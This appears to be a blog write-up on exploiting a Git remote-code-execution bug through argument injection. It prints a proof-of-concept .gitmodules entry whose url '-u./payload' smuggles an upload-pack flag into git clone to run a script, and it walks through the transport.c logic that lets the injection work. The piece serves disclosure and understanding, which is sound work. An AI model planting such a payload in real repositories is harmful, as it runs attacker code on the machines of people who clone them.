I've gotten a couple of questions about exploitation for the recent RCE in Git. So here we go with some technical details.
Here is a PoC repository.
The .gitmodules
file looks as follows:
[submodule "x:x"]
path = x:x
url = -u./payload
The actual command being injected is set by the url, -u./payload
points the upload-pack
flag of git clone to the payload
shell
script. Note also the :
within the path, this part is needed to
actually get the payload
script executed.
The path will end up as the repository URL in the subsequent clone
operation:
execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",
"--no-checkout", "--progress", "--separate-git-dir",
"/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...
As the actual URL from .gitmodules
is interpreted as the -u
argument.
The colon is due to the fact, that the colon character let us go past
those lines in transport.c
:
} else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {
struct bundle_transport_data *data = xcalloc(1, sizeof(*data));
transport_check_allowed("file");
ret->data = data;
ret->vtable = &bundle_vtable;
ret->smart_options = NULL;
Due to url_is_local_not_ssh
will return false due to the colon
in the path. And therefore later on in the code the smart_options
containing the uploadpack
setting are still in place:
} else {
/* Unknown protocol in URL. Pass to external handler. */
int len = external_specification_len(url);
char *handler = xmemdupz(url, len);
transport_helper_init(ret, handler);
}
if (ret->smart_options) {
ret->smart_options->thin = 1;
ret->smart_options->uploadpack = "git-upload-pack";
if (remote->uploadpack)
ret->smart_options->uploadpack = remote->uploadpack;
ret->smart_options->receivepack = "git-receive-pack";1
if (remote->receivepack)
ret->smart_options->receivepack = remote->receivepack;
}
The constraint to have a colon in the path
seems to hinder exploitation on Windows
as a colon is a forbidden character within a path on Windows. However as noted by
some people during the disclosure: Git running within the Windows Subsystem for Linux or
cygwin will allow exploitation on Windows hosts.
Etienne Stalmans who found a similar issue
earlier this year managed to exploit this argument injection using --template
.